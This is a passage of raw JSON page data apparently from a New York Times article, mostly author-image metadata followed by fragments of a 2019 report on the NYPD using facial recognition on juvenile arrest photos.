002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-mediumFlexible177.png","name":"mediumFlexible177","__typename":"ImageRendition"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.1.promotionalMedia.crops.6":{"renditions":[{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-articleInline.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-hpSmall.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-blogSmallInline.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-mediumFlexible177.png","typename":"ImageRendition"}],"__typename":"ImageCrop"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-videoSmall.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-videoSmall.png","name":"videoSmall","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-videoHpMedium.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-videoHpMedium.png","name":"videoHpMedium","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-videoSixteenByNine600.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-videoSixteenByNine600.png","name":"videoSixteenByNine600","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-videoSixteenByNine540.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-videoSixteenByNine540.png","name":"videoSixteenByNine540","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-videoSixteenByNine495.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-videoSixteenByNine495.png","name":"videoSixteenByNine495","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-videoSixteenByNine390.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-videoSixteenByNine390.png","name":"videoSixteenByNine390","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-videoSixteenByNine1050.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-videoSixteenByNine1050.png","name":"videoSixteenByNine1050","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-videoSixteenByNine480.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-videoSixteenByNine480.png","name":"videoSixteenByNine480","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-videoSixteenByNine310.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-videoSixteenByNine310.png","name":"videoSixteenByNine310","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-videoSixteenByNine225.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-videoSixteenByNine225.png","name":"videoSixteenByNine225","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-videoSixteenByNine96.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-videoSixteenByNine96.png","name":"videoSixteenByNine96","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-videoSixteenByNine768.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-videoSixteenByNine768.png","name":"videoSixteenByNine768","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-videoSixteenByNine150.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-videoSixteenByNine150.png","name":"videoSixteenByNine150","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-videoSixteenByNineJumbo1600.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-videoSixteenByNineJumbo1600.png","name":"videoSixteenByNineJumbo1600","__typename":"ImageRendition"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.1.promotionalMedia.crops.7":{"renditions":[{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-videoSmall.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-videoHpMedium.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-videoSixteenByNine600.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-videoSixteenByNine540.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-videoSixteenByNine495.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-videoSixteenByNine390.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-videoSixteenByNine1050.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-videoSixteenByNine480.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-videoSixteenByNine310.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-videoSixteenByNine225.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-videoSixteenByNine96.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-videoSixteenByNine768.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-videoSixteenByNine150.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-videoSixteenByNineJumbo1600.png","typename":"ImageRendition"}],"__typename":"ImageCrop"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-miniMoth.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-miniMoth.png","name":"miniMoth","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-windowsTile336H.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-windowsTile336H.png","name":"windowsTile336H","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-videoFifteenBySeven1305.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-videoFifteenBySeven1305.png","name":"videoFifteenBySeven1305","__typename":"ImageRendition"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.1.promotionalMedia.crops.8":{"renditions":[{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-miniMoth.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-windowsTile336H.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-videoFifteenBySeven1305.png","typename":"ImageRendition"}],"__typename":"ImageCrop"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.1.promotionalMedia.crops.9":{"renditions":[],"__typename":"ImageCrop"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-facebookJumbo.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-facebookJumbo.png","name":"facebookJumbo","__typename":"ImageRendition"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.1.promotionalMedia.crops.10":{"renditions":[{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-facebookJumbo.png","typename":"ImageRendition"}],"__typename":"ImageCrop"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-watch308.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-watch308.png","name":"watch308","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-watch268.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-watch268.png","name":"watch268","__typename":"ImageRendition"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.1.promotionalMedia.crops.11":{"renditions":[{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-watch308.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-watch268.png","typename":"ImageRendition"}],"__typename":"ImageCrop"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.1.promotionalMedia.crops.12":{"renditions":[],"__typename":"ImageCrop"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.1.promotionalMedia":{"crops":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.1.promotionalMedia.crops.0","typename":"ImageCrop"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.1.promotionalMedia.crops.1","typename":"ImageCrop"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.1.promotionalMedia.crops.2","typename":"ImageCrop"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.1.promotionalMedia.crops.3","typename":"ImageCrop"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.1.promotionalMedia.crops.4","typename":"ImageCrop"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.1.promotionalMedia.crops.5","typename":"ImageCrop"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.1.promotionalMedia.crops.6","typename":"ImageCrop"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.1.promotionalMedia.crops.7","typename":"ImageCrop"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.1.promotionalMedia.crops.8","typename":"ImageCrop"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.1.promotionalMedia.crops.9","typename":"ImageCrop"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.1.promotionalMedia.crops.10","typename":"ImageCrop"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.1.promotionalMedia.crops.11","typename":"ImageCrop"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.1.promotionalMedia.crops.12","typename":"ImageCrop"}],"__typename":"Image"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.timestampBlock":{"timestamp":"2019-08-01T17:15:31.000Z","align":"LEFT","__typename":"TimestampBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.1.content.0":{"__typename":"TextInline","text":"[What you need to know to start the day: ","formats":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.1.content.0.formats.0","typename":"ItalicFormat"}]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.1.content.0.formats.0":{"__typename":"ItalicFormat","type":null},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.1.content.1":{"__typename":"TextInline","text":"Get New York Today in your inbox","formats":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.1.content.1.formats.0","typename":"ItalicFormat"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.1.content.1.formats.1","typename":"LinkFormat"}]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.1.content.1.formats.0":{"__typename":"ItalicFormat","type":null},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.1.content.1.formats.1":{"__typename":"LinkFormat","url":"https:\u002F\u002Fwww.nytimes.com\u002Fnewsletters\u002Fnewyorktoday?module=inline","title":""},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.1.content.2":{"__typename":"TextInline","text":".]","formats":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.1.content.2.formats.0","typename":"ItalicFormat"}]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.1.content.2.formats.0":{"__typename":"ItalicFormat","type":null},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.2.content.0":{"__typename":"TextInline","text":"The New York Police Department has been loading ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.2.content.1":{"__typename":"TextInline","text":"thousands of arrest photos of children and teenagers","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.2.content.2":{"__typename":"TextInline","text":" into a facial recognition database despite evidence the technology has a higher risk of false matches in younger faces. ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.4.content.0":{"__typename":"TextInline","text":"For about four years, internal records show, the department has used the technology to compare crime scene images with its collection of juvenile mug ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.4.content.1":{"__typename":"TextInline","text":"shots","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.4.content.2":{"__typename":"TextInline","text":", the photos that are taken at an arrest. Most of the photos are of teenagers, largely 13 to 16 years old, but children as young as 11 have been included. ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.6.content.0":{"__typename":"TextInline","text":"Elected officials and civil rights groups said the disclosure that the city was deploying a powerful surveillance tool on adolescents — whose privacy seems sacrosanct and whose status is protected in the criminal justice system — was a striking example of the Police Department’s ability to adopt advancing technology with little public scrutiny.","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.8.content.0":{"__typename":"TextInline","text":"Several members of the City Council as well as a range of civil liberties groups said they were unaware of the policy until they were contacted by The New York Times. ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.10.content.0":{"__typename":"TextInline","text":"Police ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.10.content.1":{"__typename":"TextInline","text":"Department officials defended the decision, ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.10.content.2":{"__typename":"TextInline","text":"saying it was just the latest evolution of a longstanding policing technique: using arrest photos to identify suspects.","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.12.content.0":{"__typename":"TextInline","text":"“I don’t think this is any secret decision that’s made behind closed doors,” the city’s chief of detectives, Dermot F. Shea, said in an interview. “This is just process, and making sure we’re doing everything to fight crime.” ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.14.content.0":{"__typename":"TextInline","text":"Other cities have begun to debate whether law enforcement should use facial recognition, which relies on an algorithm to quickly pore through images and suggest matches. In May, ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.14.content.1":{"__typename":"TextInline","text":"San Francisco blocked city agencies, including the police","formats":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.14.content.1.formats.0","typename":"LinkFormat"}]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.14.content.1.formats.0":{"__typename":"LinkFormat","url":"https:\u002F\u002Fwww.nytimes.com\u002F2019\u002F05\u002F14\u002Fus\u002Ffacial-recognition-ban-san-francisco.html?module=inline","title":""},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.14.content.2":{"__typename":"TextInline","text":", from using the tool amid unease about potential government ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.14.content.3":{"__typename":"TextInline","text":"abuse","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.14.content.4":{"__typename":"TextInline","text":". ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.14.content.5":{"__typename":"TextInline","text":"Detroit is facing public resistance to a technology ","formats":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.14.content.5.formats.0","typename":"LinkFormat"}]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.14.content.5.formats.0":{"__typename":"LinkFormat","url":"https:\u002F\u002Fwww.nytimes.com\u002F2019\u002F07\u002F08\u002Fus\u002Fdetroit-facial-recognition-cameras.html","title":""},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.14.content.6":{"__typename":"TextInline","text":"that has been shown to have lower accuracy with people with darker skin. ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.16.content.0":{"__typename":"TextInline","text":"In New York, the state Education Department recently told the Lockport, N.Y., ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.16.content.1":{"__typename":"TextInline","text":"school district to delay a plan to use facial recognition on students, citing privacy concerns. ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.18.content.0":{"__typename":"TextInline","text":"“At the end 